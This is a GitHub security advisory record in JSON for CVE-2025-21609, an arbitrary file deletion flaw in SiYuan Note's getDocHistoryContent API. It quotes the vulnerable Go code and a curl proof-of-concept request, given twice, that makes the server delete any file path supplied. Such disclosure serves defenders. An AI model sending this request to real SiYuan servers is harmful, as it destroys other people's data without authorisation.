CVE-2025-21609: Github.com/siyuan note/siyuan/kernel SiYuan Has An Arbitrary File Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8fx8-pffw-w498",
  "modified" : "2025-01-03T19:26:05Z",
  "published" : "2025-01-03T16:24:34Z",
  "aliases" : [ "CVE-2025-21609" ],
  "summary" : "SiYuan has an arbitrary file deletion vulnerability",
  "details" : "### Summary\nA **arbitrary file deletion vulnerability** has been identified in the latest version of Siyuan Note. The vulnerability exists in the `POST /api/history/getDocHistoryContent` endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.\n\n### Details\nThe vulnerability can be reproduced by sending a crafted request to the `/api/history/getDocHistoryContent` endpoint.\n\nSending a request  to the `/api/history/getDocHistoryContent` like:\n\n```\ncurl \"http://127.0.0.1:6806/api/history/getDocHistoryContent\" -X POST -H \"Content-Type: application/json\" -d '{\"historyPath\":\"<abs_filepath_of_a_file>\"}'\n```\n\nReplace `<abs_filepath_of_a_file>` with the absolute file path of the target file you wish to delete.\n\n\n\nThe `historyPath` parameter in the payload is processed by the `func getDocHistoryContent` in `api/history.go:133`.\n\nIn turn, `historyPath` is passed to the `func GetDocHistoryContent`  located in `model/history.go:150` , which is the slink of the vulnerability.\n\nif `historyPath` exists and does not satisfy the `filesys.ParseJSONWithoutFix`, then it will be deleted by `os.RemoveAll`\n\n```go\nfunc GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {\n\tif !gulu.File.IsExist(historyPath) {\n\t\tlogging.LogWarnf(\"doc history [%s] not exist\", historyPath)\n\t\treturn\n\t}\n\n\tdata, err := filelock.ReadFile(historyPath)\n\tif err != nil {\n\t\tlogging.LogErrorf(\"read file [%s] failed: %s\", historyPath, err)\n\t\treturn\n\t}\n\tisLargeDoc = 1024*1024*1 <= len(data)\n\n\tluteEngine := NewLute()\n\thistoryTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)\n\tif err != nil {\n\t\tlogging.LogErrorf(\"parse tree from file [%s] failed, remove it\", historyPath)\n\t\tos.RemoveAll(historyPath)\n\t\treturn\n\t}\n\t...\n}\n```\n\n\n\n### PoC\n```\ncurl \"http://127.0.0.1:6806/api/history/getDocHistoryContent\" -X POST -H \"Content-Type: application/json\" -d '{\"historyPath\":\"<abs_filepath_of_a_file>\"}'\n```\n\n### Impact\narbitrary file deletion vulnerability\n",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 0.0.0-20250103014808-d9887aeec1b2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-8fx8-pffw-w498"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-21609"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/commit/d9887aeec1b27073bec66299a9a4181dc42969f3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-459", "CWE-552" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-01-03T16:24:34Z",
    "nvd_published_at" : "2025-01-03T17:15:09Z"
  }
}